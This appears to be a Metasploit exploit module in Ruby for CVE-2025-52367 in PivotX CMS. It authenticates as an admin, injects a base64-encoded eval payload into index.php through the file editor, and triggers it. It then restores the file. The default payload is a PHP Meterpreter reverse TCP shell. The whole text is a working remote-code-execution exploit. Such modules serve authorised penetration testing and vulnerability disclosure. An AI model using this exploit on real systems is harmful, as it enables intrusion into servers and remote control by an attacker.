1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'PivotX Remote Code Execution', 'Description' => %q{ This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'HayToN', 'msutovsky-r7' ], 'References' => [ [ 'EDB', '52361' ], [ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'], [ 'CVE', '2025-52367'] ], 'Targets' => [ [ 'Linux', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'DisclosureDate' => '2025-07-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptString.new('USERNAME', [ true, 'PivotX username', '' ]), OptString.new('PASSWORD', [true, 'PivotX password', '']), OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/']) ]) end
def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php') })
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
html_body = res.get_html_document
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
version = Rex::Version.new(Regexp.last_match(1))
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") end
def login data_post = Rex::MIME::Message.new data_post.add_part('', nil, nil, %(form-data; name="returnto")) data_post.add_part('', nil, nil, %(form-data; name="template")) data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username")) data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), 'vars_get' => { 'page' => 'login' }, 'ctype' => "multipart/form-data; boundary=#{data_post.bound}", 'data' => data_post.to_s, 'keep_cookies' => true })
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
@csrf_token = Regexp.last_match(1) end
def modify_file res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), 'vars_get' => { 'page' => 'homeexplore' } })
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
@base_dir = Regexp.last_match(1)
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), 'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' } })
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200
@original_value = res.get_html_document.at('textarea')&.text
fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value
res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" } })
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') end
def trigger_payload send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php') }) end
def restore res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value } }) vprint_status('Restoring original content') vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') end
def exploit vprint_status('Logging in PivotX') login vprint_status('Modifying file and injecting payload') modify_file vprint_status('Triggering payload') trigger_payload restore end end
|